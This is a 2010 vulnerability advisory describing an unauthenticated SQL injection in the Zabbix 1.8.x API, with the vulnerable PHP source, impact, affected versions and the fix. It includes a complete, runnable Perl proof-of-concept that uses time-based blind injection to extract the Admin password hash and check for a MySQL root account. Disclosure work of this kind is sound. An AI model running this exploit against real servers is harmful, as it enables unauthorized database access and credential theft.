__                     __   __  __           __                 
   / /   ___  ____ _____ _/ /  / / / /___ ______/ /_____  __________
  / /   / _ \/ __ `/ __ `/ /  / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
 / /___/  __/ /_/ / /_/ / /  / __  / /_/ / /__/ ,< /  __/ /  (__  ) 
/_____/\___/\__, /\__,_/_/  /_/ /_/\__,_/\___/_/|_|\___/_/  /____/  
           /____/                                                   


 <-- BACK TO legalhackers.com 

Follow @dawid_golunski ============================================= - Release date: April 1st, 2010 - Discovered by: Dawid Golunski - Severity: High ============================================= I. VULNERABILITY ------------------------- Zabbix <= 1.8.1 SQL Injection II. BACKGROUND ------------------------- Zabbix is an enterprise-class open source distributed monitoring solution. Zabbix is software that monitors numerous parameters of a network and the health and integrity of servers. Properly configured, Zabbix can play an important role in monitoring IT infrastructure. This is equally true for small organisations with a few servers and for large companies with a multitude of servers. III. INTRODUCTION ------------------------- Zabbix version 1.8 introduces an API which is vulnerable to an SQL Injection attack. No authentication required. IV. DESCRIPTION ------------------------- Zabbix API uses a function called DBcondition() (definded in include/db.inc.php) to format conditions in WHERE clause of an SQL query The function expects sanitized data and does not perform any additional checks: function DBcondition($fieldname, &$array, $notin=false, $string=false){ global $DB; $condition = ''; ---[cut]--- $in = $notin?' NOT IN ':' IN '; $concat = $notin?' AND ':' OR '; $glue = $string?"','":','; switch($DB['TYPE']) { case 'SQLITE3': case 'MYSQL': case 'POSTGRESQL': case 'ORACLE': default: $items = array_chunk($array, 950); foreach($items as $id => $values){ $condition.=!empty($condition)?')'.$concat.$fieldname.$in.'(':''; if($string) $condition.= "'".implode($glue,$values)."'"; else $condition.= implode($glue,$values); } break; } if(zbx_empty($condition)) $condition = $string?"'-1'":'-1'; return ' ('.$fieldname.$in.'('.$condition.')) '; } The DBcondition() is used numerous times within Zabbix API code to include user supplied parameters within SQL queries. It is also used during the authentication in class.cuser.php: class CUser extends CZBXAPI{ ---[cut]--- public static function get($options=array()){ ---[cut]--- // users if(!is_null($options['users'])){ zbx_value2array($options['users']); $sql_parts['where'][] = DBcondition('u.alias', $options['users'], false, true); } ---[cut]--- if(!empty($sql_parts['where'])) $sql_where.= ' AND '.implode(' AND ',$sql_parts['where']); ---[cut]--- $sql = 'SELECT DISTINCT '.$sql_select.' FROM '.$sql_from.' WHERE '.DBin_node('u.userid', $nodeids). $sql_where. $sql_order; $res = DBselect($sql, $sql_limit); ---[cut]--- The $options['users'] variable can be supplied by calling the user.authenticate method of the Zabbix API with a 'user' paramter as we can tell from rpc/class.czbxrpc.php file: // Authentication {{{ if(($resource == 'user') && ($action == 'authenticate')){ $sessionid = null; $options = array( 'users' => $params['user'], 'extendoutput' => 1, 'get_access' => 1 ); $users = CUser::get($options); $user = reset($users); if($user['api_access'] != GROUP_API_ACCESS_ENABLED){ self::$result = array('error' => ZBX_API_ERROR_NO_AUTH, 'data' => 'No API access'); return self::$result; } This lack of sanitization leads to an SQL Injection vulnerability which can be exploited without any authentication. V. PROOF OF CONCEPT ------------------------- Below is a harmless PoC exploit that retrieves password hashes and checks for mysql root account. #!/usr/bin/perl # # zabbix181api.pl - Zabbix <= 1.8.1 API SQL Injection PoC Exploit # # Copyright (c) 2010 # Dawid Golunski <dawid[!]legalhackers.com> # legalhackers.com # # Description # ----------- # A PoC exploit for Zabbix <= 1.8.1 API (api_jsonrpc.php) prone to # an sql injection attack allowing unauthenticated users to access # the backend database. # The exploit performs a blind time-based sql injection attack to # retrieve Zabbix Admin's password hash and check if Zabbix uses a # MySQL root account. # # Example # ----------- # $ ./zabbix181api.pl http://10.0.0.1/zabbix # Target: http://10.0.0.1/zabbix # Reqtime: 0.2s ; SleepTime: 0.4s # # Checking if zabbix uses mysql root account... No # # Extracting Admin's password hash from zabbix users table: # 5fce1b3c34b520ageffb47ce08a7cd76 # Job done. # use Time::HiRes qw(gettimeofday tv_interval); use HTTP::Request::Common qw(POST); use LWP::UserAgent; my $zabbix_api_url = shift || die "No target url provided. Exiting.\n"; $zabbix_api_url .= "/api_jsonrpc.php"; my $ua = LWP::UserAgent->new; $ua->timeout(8); sub sendRequest { my ($api_url, $data) = @_; my $start_time = [gettimeofday]; my $response = $ua->request(POST "$api_url", Content_Type => "application/json-rpc", Content => "$data"); my $end_time = [gettimeofday]; my $elapsed_time = tv_interval($start_time,$end_time); my $elapsed_time_sec = sprintf "%.1f", $elapsed_time; my %result = ("content", $response->content, "code", $response->code, "success", ($response->is_success() ? 1 : 0), "time", $elapsed_time_sec); return %result; } %result = sendRequest($zabbix_api_url, ""); if ($result{success} ne 1) { die "Could not access zabbix API.\n"; } my $req_time = $result{time}; my $sleep_time = ($req_time * 2.0); print "Target: $zabbix_api_url\n"; print "Reqtime: ${req_time}s ; SleepTime: ${sleep_time}s \n\n"; $| = 1; print "Checking if zabbix uses mysql root account... "; my $jsondata = '{"auth":null,"method":"user.authenticate","id":1,"params":{'. '"password":"apitest123",'. '"user":"Admin\') ) OR '. 'if (!strcmp(substring(user(),1,4),\'root\'),sleep('.$sleep_time.'),0) '. ' -- end "},"jsonrpc":"2.0"}'; %result = sendRequest($zabbix_api_url, $jsondata); print $result{content}; if ($result{time} >= $sleep_time) { print "Yes!\n\n"; } else { print "No\n\n"; } my $username = "Admin"; my @chars = (0 .. 10, "a" .. "f"); my $md5_hash = ""; print "Extracting Admin's password hash from zabbix users table:\n"; for (my $offset=1; $offset<=32; $offset++) { for (my $idx=0; $idx<(scalar @chars); $idx++) { $jsondata = '{"auth":null,"method":"user.authenticate","id":1,"params":{'. '"password":"apitest123",'. '"user":"'.$username.'\') ) AND '. 'if (!strcmp(substring(u.passwd,'.$offset.',1),\''.$chars[$idx].'\'),sleep('.$sleep_time.'),0) '. ' -- end "},"jsonrpc":"2.0"}'; %result = sendRequest($zabbix_api_url, $jsondata); if ($result{time} >= $sleep_time) { $md5_hash .= $chars[$idx]; print $chars[$idx]; } } } print "\nJob done.\n"; VI. BUSINESS IMPACT ------------------------- An attacker could exploit the vulnerability to retrieve any data from databases accessible by zabbix db user. In case zabbix has been given a more privileged mysql account the exploitation could go as far as code execution. Users running a vulnerable version of zabbix can become an easy target as zabbix installation can be easily discovered if default settings are used by checking for a listening server on port 10051 and/or existence of api script at http://host/zabbix/api_jsonrpc.php VII. SYSTEMS AFFECTED ------------------------- Versions 1.8 and 1.8.1 are vulnerable. Versions in line 1.7.x starting from 1.7.2 also contain the api and could be vulnerable. VIII. SOLUTION ------------------------- Upgrade to version 1.8.2 that has just come out or remove the API (api_jsonrpc.php) from your installation if not in use. IX. REFERENCES ------------------------- http://www.zabbix.com http://legalhackers.com/advisories/zabbix181api-sql.txt http://legalhackers.com/poc/zabbix181api.pl-poc X. CREDITS ------------------------- The vulnerability has been discovered by Dawid Golunski dawid (at) legalhackers (dot) com legalhackers.com XI. REVISION HISTORY ------------------------- April 1st, 2010: Initial release XII. LEGAL NOTICES ------------------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. Follow @dawid_golunski <-- BACK TO legalhackers.com